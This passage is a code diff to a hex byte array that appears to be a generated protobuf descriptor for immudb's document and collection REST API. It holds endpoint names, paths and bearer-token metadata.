0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, - 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, + 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, + 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, + 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, - 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, - 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, - 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, - 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, - 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, - 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, - 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, - 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, - 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, - 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, - 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, - 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, - 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, - 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, - 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, - 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, + 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, + 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, + 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, + 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, + 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, + 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, + 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2e, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, + 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, + 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, + 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, + 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, + 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, + 0x16, 0x53, 0x65, 0x73, 